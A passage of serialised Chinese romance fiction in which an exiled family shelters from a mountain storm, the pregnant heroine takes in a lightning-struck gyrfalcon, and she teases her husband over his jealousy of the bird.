宣槿妤面对宣文晟的直言发问,和三位嫂嫂的旁敲侧击,总是一脸的笑,嘴巴也十分严实,可将众人的好奇心吊得高高的。 可就是谁也没能从这对小夫妻嘴里得到哪怕一个字的解释,只好作罢! 总归他们夫妻现在这样挺好的。 对此,宣槿妤只笑而不语。 她总不能说,是因为只要苏琯璋没能及时觉察出她的情绪变化,就会“惨遭她的毒手”吧? 上个月里他身上久不消散的各种咬痕掐痕就是这么来的。 宣槿妤毫不心虚地又在他颈侧咬了一口,不过这回是轻轻的,更像是一个吻。 苏琯璋心里一动。 她咬的位置正是今日他被她咬出血来的地方,那是他今日唯一受的伤。 夜渐深,宣槿妤睡下前,唇部颜色深了许多,红润润的,且还微微发肿。她看着仍未餍足的男人,心里微恼。 “我困了。”在他再次贴过来的时候,宣槿妤娇声道。在他下唇咬了一口,不过没敢用力,她怕明日被人看出端倪来。 这和她主动亲他有什么分别? 苏琯璋眸色渐深,将她困在怀中,又亲了下去。 翌日。 “我已经遣人将昨日山脚巨石砸落的事情告知了衙门。” 用完早膳时,宣文晟跟宣槿妤和苏琯璋说道:“清风回来时也说,衙差已经将那石头运走,还在城里贴了告示。” 清风本是宣文晟的暗卫,素来不会出现在人前。 但自从宣文晟决定跟着宣槿妤一行人南下之后,就将清风提到了明面上,好方便保护宣槿妤,还方便他管理暗中跟着的暗卫们。 “这两日应当不会再有人上山了。”苏琯璋颔首,“如此也好。” 昨日那巨石落下前,若非是岩石先行掉落现出坑洞,否则不管他身手再好 ,怕也是在劫难逃。 而普通百姓既没有身手,可能还难以有昨日那般凑巧的好运气,再遇上一次天降落石,不死也残,那就太可惜了。 再过两日,他们眼见着就要走出这连绵不断的山脉。 已经晴了几日的天却再次变了。 乌云来得极快,山间的风清爽又湿润,吹得众人衣袂翩飞,身上的那股夏日燥意瞬间便消散无踪。 “要落雨了,快找个地方躲一躲。”陈阳忙对着后头喊道。 前去探路的下属还没回来,他不禁有些急。 他们都还在山里头,这下是出不去了。但雨天山里危险,又难找躲避的地方,这下可如何是好? 宣槿妤本在苏琯璋怀里安稳地睡着,被陈阳一嗓子大喊扰醒,嘤咛一声,慢慢睁开双眼。 “醒了?”苏琯璋低头,见她睁着眼,双眸却还未聚焦,轻声问。 “放我下去。”宣槿妤轻哼了一声。 她还没睡饱,身子懒懒的,十分想伸个懒腰,但顾忌着人多,只偏头藏在苏琯璋身上悄悄打了个哈欠。 苏琯璋替她挡着旁人的视线,等过了一会儿才将宣槿妤放在地上。 “要下雨了,”宣文晟见状走了过来,“陈副尉的人好似出了事,这会儿还没回来,他又派了人去找。” “王千户的人并不擅长山间之事,不过同行这些时日,他们也和兵部的斥候学了点东西,这会儿也一起去了。” “我的人也派了出去。” 宣文晟小声又快速地将眼下的情况说给二人听,“当务之急,还是得先找个山洞避雨。” 云层已经很厚,黑压压的,天地间已然变色,眼见着就是一场暴雨酝酿着即将落下。 可这山里,一眼望过去都是蓊郁的绿树,哪里有什么山洞? “先继续往前走,”苏琯璋说,指了指斜前方不远处一处地势较为平坦的地方,“如果当真下雨又没找到躲雨的地方,就把马车停在那里,女眷和孩子们都上马车避雨。” 宣文晟点头。 这是没办法中的办法了,好歹要先保证这老弱妇孺不被雨侵扰,不然得了风寒可不好办。 宣文晟到前头和陈阳说了一声,很快队伍就改了方向,朝着苏琯璋说的平坦之地走去。 “我抱着你。”苏琯璋说着将宣槿妤抱了起来,“这里地滑。” 他们站着的地方恰好是山泉的出水口,水汨汨流淌着,周遭长了一圈青苔。方才陈阳他们的人经过的时候没注意,摔伤了一个。 “那你注意点。”宣槿妤揽紧苏琯璋的脖子,紧张道。 她情况不同,他若摔了,可就是摔了三个。 苏琯璋亲了亲她的额头,没有回答,只认真看着脚下的路。 宣槿妤安心地将头靠在他肩膀上。 一道闪电从厚厚的云层中越过,紧接着便是震耳欲聋的一道雷声,“轰隆隆”。 暴雨倾盆。 “快上马车。”苏琯璋将慕哥儿快速塞进马车里,又去接启哥儿。 不过好似晚了一步,说话的这当口,启哥儿身上已经湿了一小半了。 见老人妇人和小孩都上了马车,苏琯璋又迅速将车门阖上。 做完这一切,他的身上便已然湿透。 “打雷闪电不能在树下待着,”雨中传来宣文晟有些模糊的声音,“那里有块凸出的岩石,都到下面去。” 风大雨大雷声也大,树叶还摇曳着飒飒作响,便是近在咫尺,人的声音听在耳中时都像从隔了好远的距离传过来的。 “快快快,那边台子也能站几个人。”宣文晟临时当了两支队伍的队长,指挥起那近百人去躲避这越来越大的雨势。 其实躲不躲都无所谓了,现在马车外面的人,没有一个身上是不水淋淋像是沐浴在水塘里的。 就说话的功夫,他嘴里还不小心吞了几口水下肚,宣文晟皱着眉闭上了嘴巴。 “五弟,这里我来守着,你去弟妹那里吧!”苏琯煜安置好马匹后便忙跑了过来,对苏琯璋说道。 苏琯璋微微颔首,很快转移到宣槿妤所在的马车边上,跳上了车头,钻进了前室。这里本是为车夫赶车时避风雨防日晒所建,如今就派上了用场。 里头坐着的车夫,即宣文晟派来赶马的贴身侍卫,见到他,便侧过身,给他挪了下位置。 第49章 第49章那雷击中了一只白隼…… “姑爷,”侍卫递过来干净的毛巾,“您身上都湿透了,先擦一擦。” 苏琯璋道了声谢,便擦了起来。 但并没有多大用处,他只勉强擦干了脸,发上和身上都还在往下淌着水,很快前室就积了一滩水。早有准备的侍卫在地上铺了一条大方巾,正好吸水。 听到苏琯璋声音的宣槿妤拉开车厢门,正看到这一幕。 她很快又退回到车厢里。 车厢门没关,苏琯璋看到她正在翻找装了二人衣物的箱子。 “槿妤,别找了,我等会儿还要出去。”看着宣槿妤手忙脚乱笨手笨脚的模样,他忍不住开口说道。 虽然宣文晟带来的马车都经过彻底改造,耐得住风雨,但谁也不知道这雨要下多久,总不能一直待在马车上。 便是女眷和孩子们待得住马车,吃饭喝水也是个问题。 何况,外面还有百余人,只能勉强在山岩下避雨,个个身上都湿透了。 再有就是马,现在这群马经过安抚,还能在雷声中保持安静,但再久,难保它们不会受惊发狂。 是以,先找个安稳避风雨的地方才是要紧之事。 又是一声雷鸣,好似响彻天地。 刚听到苏琯璋的话想开口的宣槿妤身子不由一抖,被许玉娘心疼地圈进怀里,“槿妤别怕。” 苏琯璋下意识想跨过车厢门,但才动身,身上的水就哗哗地往下淌,他便不动了。 宣槿妤的视线隔着一道车厢门望过来,苏琯璋清楚地看到了她眼中的委屈。 是了。 平日里他们二人就很少分开过,如今雷雨天,且还是在这样艰难的环境中,她更是需要他的陪伴和安慰。 苏琯璋接过许玉娘递过来的干净衣物,关上了车厢门。 侍卫自觉转过身去,苏琯璋便飞快脱下身上湿漉漉的衣裳,擦干身子,又换上干衣物。 一头湿发,他则用毛巾包裹着,用内力烘干了。 他打开车厢门时,又恢复了一身的清爽。 “槿妤,我来了。”苏琯璋走进车厢,从母亲怀里接过宣槿妤,让她坐在自己身上。 “没被吓着吧?”他问着,替她把脉。 宣槿妤将头靠在他肩上,眼泪很快将他才换好的干衣裳浸湿。 她用力抱着这个男人,在越来越急的雨声和轰鸣声中,放任了自己的脆弱。 雷声十分吓人,像是要将闯入山中的这群不速之客吓走;闪电游走在云层之中,惨紫的光衬着乌黑的云,有种像是要毁灭一切的瘆人之感。 “砰~” 车窗被什么东西狠狠砸了一下,窗框抖了几下,又恢复了雨点砸落时噼啪的声响。 不多时,宣文晟捧着一个白色的东西上了他们这辆马车。 “那雷击中了一只白隼。”他看到紧紧贴在妹夫身上,身子有些颤抖的宣槿妤,声音顿了顿。 不过他的声音已经吸引了宣槿妤的注意力,她转头朝前室方向看过来。 “它右腿被闪电灼伤了,飞不起来。”宣文晟站在门口,并不进去,只将手中的矛隼递给许玉娘。 “我想着,它兴许能给妹妹做个伴 儿。” 和苏琯璋方才一样,宣文晟此时全身上下也在淌着水,地上的那块大方巾已经被侍卫换成了另外一块。 “它不伤人吧?”许玉娘双手捧着白隼,看本是猛禽的它如今蔫蔫的,犹有些不放心。 矛隼都凶猛,这只又是没被驯化过的,野性定然十足,槿妤如今是双身子,万一被伤了可不好。 “我让人做了个笼子,很快送进来。”宣文晟说,显然他事先已经考虑过这个问题了。 宣槿妤从苏琯璋怀里转过身,和婆母手中的白隼对视,她看到了它眼里的乞求和桀骜。 十分矛盾的眼神。 “不用笼子了,”宣槿妤小心地将白隼从婆母手中接过来,用干毛巾包好,示意苏琯璋给它看看,“它是野物,不该关着它。” 白隼有些重,大抵快要成年了,有个几斤重的样子。 “而且,它不会伤害我的。”她摸了摸白隼湿漉漉的头,看苏琯璋检查它的右腿,和它对视了好一会儿。 白隼似是听懂了她的话,将头在她掌心蹭了蹭。 许玉娘惊讶地看着如此有灵性的矛隼,也忍不住摸了摸它的头,却没等来它的主动蹭蹭,而是高傲地将头转了开来。 许玉娘:“……”但她更开心了,“这隼可真有灵性。” 一般的矛隼,常人也难以见到,遑论捕捉。 因为许家和苏家都是武将世家,偶尔倒是能猎到一两只,许玉娘也得以见识过。 但这样凶猛的鸟儿,桀骜难驯、宁死不屈,最后都只好将它们放了,免得真害了它们的性命。 她还遗憾了好一阵,觉着这辈子是无缘见到一只愿意亲人的矛隼了,没料到这只白隼竟不用驯养也可以让人类接近。 大抵还是因为它的伤势? 看着苏琯璋熟练地替白隼处理伤势,许玉娘若有所思。 宣文晟看着那白隼乖乖地待在妹妹手里,也放下了心。 他将头伸出马车,往外大喊了一声,“笼子不要了。” 很快遥遥的一声传来,余声湮没在雷雨声中。 雨越发大了。 宣文晟再次呛到了水,咳了几下,往车厢外吐出一口雨水,又赶紧将头缩了回来。 苏琯璋已经为白隼上了药,包好伤口。 “骨折了,它得有几个月飞不起来。”他说。 “雷劈的?”宣文晟问。 那雷竟有如此大的威力?他只见到它焦黑的伤口。 “不是,”苏琯璋回,小心地用剪子将白隼伤口附近被灼烧过的羽毛剪掉,“应当是撞到车窗的那一下撞骨折的。” 几人想起方才车窗被重重撞击的那一下,恍然大悟。 这时,宣槿妤忽然开口,“在它遭雷击的地方找找,看有没有能够避雨的山洞。” 宣文晟二话不说便下去安排了。 许玉娘疑惑地问:“矛隼避雨时多数是找树木、灌丛等地方,为什么要在它遭雷击的地方找山洞?” 宣槿妤赧然一笑,回答婆母,“两者没有关系。” “只是直觉,”她小声补充,“但我直觉很好的。”说完她就不好意思地捂了捂脸,显然也知道自己的解释没有什么说服力。 许玉娘笑着点头,不过也并不大在意宣槿妤说的什么直觉的话。 等到宣文晟一脸兴奋地跳上马车,指挥侍卫赶车时,她才震惊地看向宣槿妤。 “真是直觉啊?” 宣槿妤这下开心了起来,双眼亮晶晶的,“我就说我直觉很好的。” 许玉娘摸了摸她的脸,“真不错。” 她感慨着,“璋小子娶了你,真是苏家祖上冒青烟了。” 宣槿妤回头去看苏琯璋,眼神得意,就是! 苏琯璋失笑着将白隼放到桌子一旁,擦干才洗干净的手,将她的头按回怀中。 马车缓缓停下。 “这山洞好大。”众人下了马车,环视一圈,感慨道。 这山洞十分开阔,容纳了他们一百多人还不止,竟还能容纳五辆马车和十匹马。 “是怎么发现的?”苏声问,他方才也被苏琯璋推进了马车里,并不知道是谁找到的这处山洞。 他用手拨了拨山洞门口的草丛,又去看才被清理掉、在洞口两旁堆成高高一摞的灌木和荆棘,很是惊奇。 “这山洞伪装得这样好,竟还能被找到,果真是天佑我等。”苏老夫人乐呵呵接口道。 大抵上了年纪的人都有些迷信,苏老夫人以前就喜欢在自家子辈孙辈上战场前到各种道观寺庙去求神拜佛,以求他们平安归来。 而自苏家人顺利地从那刑部死牢里出来,她便越发信奉起神佛道法来,喜欢说些“老天保佑”之类的话。 宣文晟正站在人群后头,没听到苏声的问话,恰巧站在一旁的陈阳便和他解释了。 不过陈阳知道的,也只是宣文晟给的明面上的说辞。 宣文晟方才下马车带人找山洞时,并没有说是宣槿妤的直觉。 他只和陈阳王虎等人说他方才带人在附近搜寻,看有没有白隼的同伴,好一起给宣槿妤养着作伴,却意外发现了这处天然的大山洞。 听得陈阳王虎两队人一时不知该感慨他们的好运气,还是该感慨这宣三公子的宠妹无度。 这样可怖的雷雨天竟不去避雨,就为了找可能存在也可能不存在的一只矛隼,就为了哄妹妹开心。 也是兄妹情深了。 “竟还是只玉爪。”苏声也看到了安安静静待在马车车厢顶部的白隼。 宣文晟方才将这只白隼带下马车时,它见到人这么多,便显得有些狂躁,险些啄伤他。 还是被苏琯璋抱着的宣槿妤伸手安抚住了它,将它举着放在车厢上方。那里相对清静些,视野也高,白隼才慢慢在宣槿妤放抚摸下安静下来。 宣槿妤才从苏琯璋怀里下来,闻言去看公爹。 苏声和她解释道:“矛隼又名海东青,其中最珍贵的是玉爪,就是这种纯白色的。”他指了指眼神犀利地看过来的白隼。 “可见真是缘分。”许玉娘意有所指地笑道。 第50章 第50章好小气的男人 夏季的暴雨,来得快,去得也快。 之前他们分明瞧着这场雷暴雨像是要毁天灭地的架势,但他们进入山洞之后不过一个多时辰,雨势便渐渐停了下来。 陈阳迫不及待地钻出了山洞。 “雨果真停了。”他高兴地回头跟众人说道。 同行了这么久,众人甚少见他这样外泄情绪,想来也是高兴坏了。 不过,等王虎等人出了山洞,才知他为何这样喜形于色。 前方道路上,有一小队人正朝着这个方向走来,全身上下皆是湿淋淋的,尤其中间那个一瘸一拐、还是被同僚搀扶着回来的。 但众人瞧着他们并没有被暴雨浇了一个多时辰之后的狼狈,一个个精神还挺不错的样子。 是前头派出去探路的斥候和后来去寻人的小队回来了。 此时乌云已经散开,露出天光,他们避雨的山体左侧上方还挂了一条霓虹,高高地在阳光下闪耀。 “小心头上滴水。”苏琯璋低声道,一手扶着宣槿妤,一手放在她头上替她挡着顺着山体流下来的水珠。 而那边陈阳已经和斥候了解完情况。 原来他去前方探路时,不慎惊扰了一条毒蛇。为躲避毒蛇的袭击,他又不小心踩中了猎户留下的陷阱,掉进了捕兽坑里。 幸好没过多久陈阳重新派出去的人就找到了他,将他救了上来。 “你的腿还好罢?”陈阳见他一瘸一拐、左脚裤腿湿润之余还有一片艳色流淌,蹲下去亲自给那人检查了伤势。 裤腿被撩起来,旁边的人顿时倒吸口凉气。 只见那斥候左小腿上一片血淋淋,拆开裹伤口的布条一看,好大一个血洞,横亘在脚踝处。 那斥候抹了把脸上残存的雨水,咧嘴一笑,“那毒蛇没能咬到我,但那坑里的捕兽夹倒是咬了我好大一口。”他说,语气里透着股诙谐。 “那你当真是命大了。”陈阳没好气道,都什么时候了还在这儿说什么俏皮话。 斥候接过同僚递过来的干毛巾胡乱擦了擦脸,听到上峰的埋汰也不恼不尴尬,瞧着依旧乐呵呵的模样。 “你这伤口太深了,”陈阳检查完了后说道,“须得尽快找个大夫瞧瞧。” 他站起身来,看那斥候还是一副笑模样,心里来了气,对着他肩膀狠狠捶了一拳,“还笑,你脚都要废了还笑。” 斥候“嘶”了一声,终于收起了笑容。 陈副尉打得也太狠了点。他心里嘀咕着。 不过陈阳也是在担心他,他心里门儿清,便也没什么怨言。 “这荒山野岭的,上哪儿去给你找个大夫?”陈阳自言自语,有些发愁。 这队伍要在路上走上个一年半载,老弱妇孺皆有,还有个双身子的,当初为什么就没人想到要找个大夫跟着? 对了。 那宣小少夫人前段时日妊娠反应那般大,是谁治的?前头苏家老夫人摔骨折了,又是谁来医治的? 他们并非只要正经专职的大夫来着。 等他终于想起队伍里还真有个会医术的,转头一看,苏琯璋已经将宣槿妤交给宣文晟和许玉娘照看,自己上前,也蹲了下去。 这会儿苏琯璋已经细细检查完伤口。 “伤口没毒,但是在雨水中泡了挺长时间,伤口又过深,得尽早处理。”他检查了一番,对着也蹲下来的斥候说着。 “若是缝合,你经得住疼不?”苏琯璋问。 他的伤口太大,血一直到这会儿还在流着,须得好生缝合才不会废了这条腿。 斥候看了看上峰陈阳,见他颔首,便去看苏琯璋,“那就有劳苏小公子了。”他有些紧张地说。 因着失血过多,他这会儿面色已经白得发青,只他一贯身强体壮,才能撑到这个时候。 苏琯璋接过宣槿妤递过去的药箱,用他前几日才制得的药酒洒在伤口上,先将他伤口上沾到的泥土碎叶等冲洗干净。 血水顺着他的裤管流到地上,又和他身上滴滴答答落下的雨水混为一体。 “你先进山洞换身干净衣裳,待会儿我再给你处理。”苏琯璋站起身,挡住了宣槿妤看过来的视线。 宣槿妤戳了戳他的后腰,轻哼了一声。 好小气的男人,又不是什么不能看的地方,作甚不给她看? 宣文晟:“……”一时不知该说谁才好。 一个确实气量狭小了些;一个好奇心又过于旺盛了点,还怀着孩子呢,不怕惊着自己,竟也不怕惊到腹中的孩子?! 许玉娘笑着将宣槿妤扶着转了个身,“槿妤你是双身子,不能看这样血腥的场面。” 宣槿妤对着苏琯璋可以任性可以和他闹,但面对婆母她一向乖巧,闻言便也乖乖地应了。 许玉娘含笑摸了摸她的头。 等到苏琯璋替斥候缝合好伤口且盯着他服下药丸,后头回来的人都换好衣裳,也快到了晚膳时分。 “先别赶路了,”陈阳带着后派去探路的人走了过来,“前方有大树倒塌,堵住了去路,现在清理也晚了。” 苏琯璋颔首,在流动的溪水下游洗掉一手的血腥气和药草气味,“天色也不早,今日大伙儿也都淋了雨,先煮点姜水去去寒。” 山洞里虽然通风,但到底夜里还要在里头歇息;既然雨水已经停了,宣文晟带来的两名厨娘便在山洞外生了火,架起一只铁锅。 见状,陈阳和王虎也让他们的人将柴火转移到山洞外边来。 这季节多雨,淋了雨需要及时散寒,宣文晟近来购置了不少姜和祛寒的药材,这时便正好派上用场。 山间清凉,等众人用过饭喝完姜汤,便都回了山洞里休息。 后半夜又下起雨来,淅淅沥沥的。 宣槿妤睡得迷迷糊糊的,只感觉自己的身子被苏琯璋用薄被裹着揽入他的怀中,便不大在意地换了个舒服的睡姿,靠在他身上很快又睡熟了。 天快亮时,一直安安静静地卧在马车车厢顶上歇息的白隼玉爪叫了起来。 那声音高亢,似是破空而来,在这山洞里回音不绝。 一众练家子警觉地坐了起来。 危险的气息悄无声息地游走,临近众人。 “叮~”的一声,守夜的一名官兵眼疾手快地飞出一把匕首,快准狠地插在一条乌黑的小蛇七寸上。 “是一条过山峰。”被白隼叫声惊醒的陈阳走了过来,挑起那条死透了的小蛇,对身旁的王虎道,后怕地吐出一口浊气。 那名官兵站了起来,有些愧疚地站在陈阳面前,“头儿,我没及时发现那条蛇,是我的错。” 他当时飞出那把匕首的时候手都在抖,生怕那蛇突然暴起。过山峰毒性这样大,它随便伤了哪个人,怕都是没得救了。 陈阳拍了拍他的肩,“下次守夜还是要警醒些。” 他又转头对王虎道:“今日还是要走出这片大山,毒物太多了。” 王虎点头,“也要当心野兽。再派人出去探路时,我的人会跟着一起去,有个照应。” 陈阳应了。 那名官兵回到自己的位置,继续守着。 但其实也不必再守夜了。 因为方才的事,几乎将所有人都惊醒了,眼下天边也现出了一点鸭壳青,天将亮,也没法再入睡了。 许多人陆陆续续地起了身,听完了陈阳等人的对话。 宣槿妤没被白隼可以破空的叫声惊醒,却被这样窸窸窣窣的动静扰了睡眠。 她眼睛没有睁开,脑袋往苏琯璋怀里扎去,“怎么了?要起了吗?”她迷迷糊糊地问。 “没事,你继续睡。”苏琯璋方才第一时间已经将宣槿妤抱坐起来,听到她含着睡意的问话,亲了亲她的额头,安抚道。 于是宣槿妤在他怀里蹭了蹭,果真继续睡去。 等到她睡饱了起身后,才听到苏琯璋和她说清晨发生的事情。 山洞里旁的人也都出去了,也就苏琯璋一直守着熟睡中的宣槿妤,这时候偌大的山洞里,活人便也只有他们夫妻二人。 宣槿妤在苏琯璋的帮助下很快洗漱完毕,但她还不急着出洞口去用早膳,而是让苏琯璋抱她起来,去看那只玉爪。 “是你救了我们。”她伸出手,摸了摸白隼的的头。 白隼圆溜溜的棕褐色眼睛直勾勾地和宣槿妤对视,过了好一会儿,它才低着头,用它已经干燥的小脑袋去蹭她的手。 纵然昨日已经摸过白隼脑袋,但那时它的头还是湿漉漉的,用干毛巾擦了也还是炸毛的状态。 而今它身上的翅膀毛发都已经干透,摸起来手感便极好。 触感十分顺滑,像是在摸一匹品质极佳的绸缎,但又十分细腻紧实。若再细细抚摸感受,又能察觉出上面还带着一层油润感,且弹性上好,触手微凉。 宣槿妤情不自禁地摸了又摸。 白隼也甚为惬意地半眯着眼睛,享受着她的抚摸,半点没有身为凶禽的自觉。 “该用早膳了。”苏琯璋将她托抱下来,放在地上,“祖母他们在等着我们了。”他没什么情绪地说着。 “苏琯璋,这玉爪是一只雌鸟还是雄鸟?”宣槿妤福至心灵。 苏琯璋已经拿过水囊,闻言没有多想,随口回道:“雄鸟。”他昨日替这白隼处理伤势时已经看过了。 宣槿妤了然,斜睨他一眼,“好小气的男人。”她说。 昨日她的想法果真不错。她眉眼弯弯的,显然心情极好。 50-60 第51章 第51章你就是吃醋了对不对?…… 苏琯璋这时也已经反应过来宣槿妤的言外之意了,只 假作没听见,面不改色地淋湿了帕子,替她擦了手。 但宣槿妤好不容易窥得他心思一角,哪里肯这样放过他。 “你说你是不是小气?”她揶揄地问着男人,虽是仰着脸,但却垂着眼睑,掩饰着心里的紧张与期待。 “没有。”苏琯璋淡声道。 他给她擦完了手,自己凑合着也用了同一张帕子给自己也擦了,才洗干净帕子,也不放在车窗上晾着,只用内力快速烘干了再放回怀里。 宣槿妤盯着他的动作,见他这样珍惜她给他的帕子,心里欢悦极了。 他说没有,她才不信。 “是不是?”宣槿妤追问。 苏琯璋被她缠得无法,只得应了,“是。”他说。 宣槿妤愉悦地勾起了唇,扑到他怀里,仰着头看他,“苏琯璋,你竟连一只鸟的醋也要吃吗?”你心里这样在意我吗? 苏琯璋被温香软玉扑了满怀,忙搂住她。 他低了头,见她难得一副神采飞扬的模样,心里一软。 “该用早膳了。”他摸了摸她的脸,正色说道。 避而不答! 哼。 宣槿妤正想退出他的怀抱,但想了想,见他脸上仍是一本正经的模样,又好笑又有些不甘心。 “你就是吃醋了对不对?”她攥住他的衣袖,摇晃着问。 她今日非要逼他将心里话说出来不可。 “你说不说?”见他要回避,宣槿妤忙抓住他的大掌,在他掌心里挠了又挠。 她眼里还含着笑,光华流转间,他清晰地在她眸间看到了自己的倒影。 只有自己。 苏琯璋瞳色一颤,猛地抓住她捉弄人的手,眼神很深,“槿妤。” 宣槿妤看懂了他的眼神,动作一顿。 平素里苏琯璋在床笫间动了情便是这样一副模样,此时多了一分隐忍克制,便显得越发勾人。 而二人相贴的地方,也有什么不合时宜的东西跳了起来,隔了几层衣裳,仍灼烫了她的肌肤。 宣槿妤的脸也烫了起来,老老实实地站在他面前,不敢动了。 苏琯璋松了口气,握着宣槿妤的肩膀将她挪了个位置,让她替他挡着山洞外随时可能看过来的视线。 他现下确实不能见人。 宣槿妤双颊绯红,眼神飘忽,只觉着身上也开始热了起来。方才的嬉笑犹在眼前,她却不敢再管他要答案了。 呜呜呜,幸好这里也就他们两个,不然丢脸可丢大发了。 她用头捶着男人的胸膛,一下又一下,动作略有些重。 苏琯璋这个不要脸的臭男人! 但她还要脸的!嘤嘤嘤!真被人见到,她就不用做人了。 苏琯璋僵硬地环着她的腰,任由她用头捶着自己,只心里默念着清心经,慢慢平稳着呼吸。 他也确实是孟浪了。 过了好一会儿,他才长长地松了口气。 察觉到他那灼人的温度终于降下去,宣槿妤终于停止了捶他的动作。 苏琯璋将她的头抬起来,凝视着她的脸。 宣槿妤眼神依旧是飘忽的,并不看他。 苏琯璋看着宣槿妤难得一副心虚且乖巧的模样,心里一动,忍不住亲了亲她的脸。 像是羽毛拂过脸颊,却又带着人身上温软的触感,微凉而轻柔。 宣槿妤摸了摸被苏琯璋亲过的地方,抬眼去看他,正看到他眼中难得的温柔,一怔。 “该用膳了,你们怎么还不出去?”许萱娘走进山洞,奇怪地看着站在马车旁对视着的夫妻俩,催促道。 二人这才回过神来。 “这就出去了。”宣槿妤回了一句,有些不自在地率先走了出去。 她忘了她的手还被男人抓着,于是洞口的许萱娘见到的便是苏琯璋沉默着像是一副小媳妇的模样,慢吞吞地跟在宣槿妤身后朝她走来。 许萱娘这时也才慢慢反应过来,她好似打断了这对夫妻间的旖旎情思;还兀自尴尬着呢,便瞧见了这一幕。 “噗嗤”,她盯着二人,忍不住笑了起来。 自打他们被流放之后,这一路上被槿妤折腾得,小弟好似变了不少,更有活人气了,不再是一副冷冰冰玉雕的假人模样。 其实这样也挺好的。 许萱娘悄悄地和婆母咬耳朵,直将许玉娘逗得笑个不停,笑得宣槿妤用膳时都不敢抬起头,露出的脖颈都是绯色的。 她们俩用得快,这当会儿已经放下了筷子。此时正是一日里最清闲的时候,再遇上什么趣事,便能维持一日的好心情。 她们自顾自地说着悄悄话,除了心虚的宣槿妤,旁人也不大在意,只当婆媳俩在说些贴心话。 偏生彤姐儿边吃边去看她娘亲和祖母咬耳朵,好奇到心痒却又碍于教养没有凑过去听,便将目光转向其余人。 看到宣槿妤时,她惊奇地叫了起来,“小婶婶你脸好红哦!” 她一句话,一下子便给宣槿妤吸足了旁人的视线。 宣槿妤红着一张脸和彤姐儿对视,磕磕绊绊地试图掩饰,“小婶婶有点热。” 小孩子特别单纯好骗,尤其骗她的人是她很喜欢的小婶婶。 于是彤姐儿饭也不吃了,很懂事地拿过她的小扇子,走到宣槿妤身边就给她扇起风来。 宣槿妤:“……”对不住了彤姐儿,小婶婶不是故意骗你的。 她有些坐立难安,又不好推翻方才说她热了的说法。 幸好苏琯璋及时接过扇子,“我来,你继续吃。” 彤姐儿坐回原位,许萱娘和许玉娘二人摸了下她的头,而后笑看了宣槿妤好一会儿,才移开目光。 不过直到大家用完饭,她们二人也没再继续说悄悄话。 用过早膳,一行人便匆匆启程赶路。 雨已经彻底停了,天上挂了一轮暖阳,有暖融融的水气蒸腾着,扑向两旁高大的乔木。 “若是不想走了,就和我说。”苏琯璋低声和她说道。 他一手牢牢地撑在宣槿妤腰上,旁人从后头远远看去,他像是在亲密地搂着她。 宣槿妤胡乱地应了一声。 想到清早她被大嫂嫂许萱娘还有婆母笑话,又想起更早之前他们之间的暧昧缠绵,她脸上不禁漫起红霞。 苏琯璋以为她是被热着了,忙用空着的那只手作扇,轻轻地给她扇着,“可是热着了?”他担心地问。 她用早膳时就说热,他也没多想,只以为孕妇体热,她比旁人更耐不住热气。全然没想到山间风徐徐,她哪里会热着。 宣槿妤回想着他那时的温柔,又看着眼下这个又好似变回原样的木头,有些恼了,瞪他,“你才热了,都怪你。” 苏琯璋莫名挨了一记白眼,又想不明白妻子好端端的为什么又恼了。 想了好一会儿,他将这些归于她有了身子,也觉着她性情变化是正常的。于是也没有再说话,只揽住她腰际的手微微用力,将她打横抱在怀中。 “山路崎岖,不好走,我抱你。”他略带紧张地盯着宣槿妤的反应,生怕她又不开心。 宣槿妤将头埋在他怀里,只“哦”了一声,在他看不见的角度,唇边的弧度却高高扬起。 虽然这根木头不开窍,但好歹也有了一点进步。 她就大度一点,放过他吧! 日头升至他们头顶时,这片走了好几日的连绵群山终于被他们甩在身后。 道路肉眼可见地开始平坦起来。 “接下来近百里路都是草原。” 他们停下来埋锅造饭时,陈阳取出被折成巴掌大的羊皮地图,展开指着跟王虎说道:“你的人也学会探路了,接下来可要跟我们换一换位置?” 他在征询王虎的意见。 先前一直是陈阳带人走在前头开路,王虎和他的人在殿后保护。 而这片草原辽阔地形一览无余,若王虎想换,也正是时候。 王虎没有多想就答应了。 他的人这些时日走得可憋屈,夜间停下休息时恨不能绕山跑个上十圈,好将身上旺盛的精力消磨掉。 若是他们走在前头,说不准可以走快些。 “接下来他们都可以坐马车了,”王虎想着便说出口,“你的人也是幸运,不必压着步子。” 陈阳哈哈大笑,拍了拍他的肩膀,收起羊皮地图,“还是 没经历过行军的人才能说出这种话。” 王虎不悦地皱起眉。 他们禁军和兵部两支军队的矛盾为何常年解不开?还不是他们兵部之人嘲笑他们身为军人,却连战场是什么样子的都没见过? 他冷哼一声,起身走了。 上过战场很了不起? 王虎咬牙,但不得不承认,还真了不起。 他早晚也要上一次战场! 他气哼哼的,才十几步路的脚程,被他走出了有如身后有猛虎追赶的架势,步步生风。 陈阳摸了摸鼻子,对着疑惑地看过来的下属们道了一句“无事”,便加入了烧饭的队伍中。 “你先前吃了什么东西?这还不饿?”宣槿妤已经让苏琯璋将白隼从车厢顶上取了下来,放在临时支起的木桌上,摸了摸它鼓鼓的肚子,眉眼含笑。 孩子们围在她身边,好奇地盯着这只在大人口中凶猛无比不得招惹,却在小婶婶手中无比温顺的海东青。 第52章 第52章你就吃准了我吃你这一套…… “玉爪是它的名字吗?”慕哥儿问,他的小手已经伸了出来,对着半眯着眼享受着宣槿妤抚摸的白隼油光水滑的洁白翅膀,一脸的蠢蠢欲动。 启哥儿眼疾手快地将他的手打了下去,“慕哥儿乖些。” 宣槿妤看了过来,“慕哥儿想摸?” 慕哥儿渴望地猛点头,“想,小婶婶,我也想摸。” 其余孩子们,连带着方才还阻止小堂弟冒险的启哥儿,也俱都满眼期待地看着宣槿妤。 “那你问问它愿不愿意让你摸。”宣槿妤说道,回答慕哥儿方才的疑问,“玉爪是它的品种,它是野物,没有名字的。” 于是慕哥儿当真去问白隼,童声稚嫩充满渴求,“小白白,我可以摸摸你吗?” “小白白是在叫它吗?”宣槿妤问他。 慕哥儿理所当然地点头,“小婶婶说它没有名字,那我就给它起一个。它长得这样白,就叫它小白白好了。” 宣槿妤一时失言。 白隼看都没看慕哥儿一眼,将头转过去,屁股对着他。 “他好像不喜欢你起的名字呢!”燕姐儿和弟弟说道。 “那我不叫你小白白,你能给我摸一摸吗?”慕哥儿也不伤心,还惦记着要摸白隼的事。 其余孩子们也都眼巴巴地盯着白隼的反应,心里的渴求险些从眸间溢出来。 白隼不耐烦地扇了扇翅膀。 这便是拒绝的意思了。 “好吧!”慕哥儿瘪着嘴,一副很不开心的模样;却没有哭也没有闹,很快就接受了白隼不愿意搭理他这件事。 